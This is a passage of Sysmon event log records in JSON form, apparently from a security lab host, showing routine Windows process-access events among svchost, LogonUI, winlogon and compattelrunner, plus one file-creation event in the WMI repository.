11:49:40.500","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"2000","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x100000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|c:\\windows\\system32\\es.dll+118e5|c:\\windows\\system32\\es.dll+13b72|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\RPCRT4.dll+b41b|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.531\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nImage: C:\\Windows\\system32\\svchost.exe\r\nTargetFilename: C:\\Windows\\System32\\wbem\\Repository\\WRITABLE.TST\r\nCreationUtcTime: 2020-08-07 11:49:40.531","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.531","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","Image":"C:\\Windows\\system32\\svchost.exe","TargetFilename":"C:\\Windows\\System32\\wbem\\Repository\\WRITABLE.TST","CreationUtcTime":"2020-08-07 11:49:40.531","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.547\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.547","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.578\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.578","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.578\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.578","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.578\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nSourceProcessId: 1220\r\nSourceThreadId: 1640\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001076B40000}\r\nTargetProcessId: 1092\r\nTargetImage: C:\\Windows\\system32\\LogonUI.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.578","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","SourceProcessId":"1220","SourceThreadId":"1640","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001076B40000}","TargetProcessId":"1092","TargetImage":"C:\\Windows\\system32\\LogonUI.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|c:\\windows\\system32\\fntcache.dll+17aaf|c:\\windows\\system32\\fntcache.dll+1a677|c:\\windows\\system32\\fntcache.dll+1aaac|c:\\windows\\system32\\fntcache.dll+502ee|c:\\windows\\system32\\fntcache.dll+4fff2|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.594\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 1900\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.594","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","SourceProcessId":"1132","SourceThreadId":"1900","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|c:\\windows\\system32\\SYSNTFY.dll+1ad9|C:\\Windows\\System32\\RPCRT4.dll+580d4|C:\\Windows\\System32\\RPCRT4.dll+39ae0|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":952,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.610","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":953,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.610\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nSourceProcessId: 1132\r\nSourceThreadId: 2236\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010C05A0100}\r\nTargetProcessId: 2304\r\nTargetImage: C:\\Windows\\system32\\compattelrunner.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 